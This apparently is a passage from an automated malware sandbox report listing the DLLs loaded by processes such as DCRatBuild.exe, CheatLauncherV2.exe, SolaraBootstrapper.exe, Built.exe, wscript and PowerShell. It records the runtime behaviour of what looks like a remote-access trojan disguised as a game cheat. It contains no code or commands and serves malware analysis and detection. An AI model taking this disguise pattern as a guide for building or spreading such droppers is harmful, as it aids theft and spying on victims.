Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: dxgidebug.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: pcacli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: python3.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: libffi-8.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: sqlite3.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: libcrypto-3.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: libssl-3.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: avicap32.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: msvfw32.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: dciman32.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: mmdevapi.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: ksuser.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: avrt.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: audioses.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: midimap.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
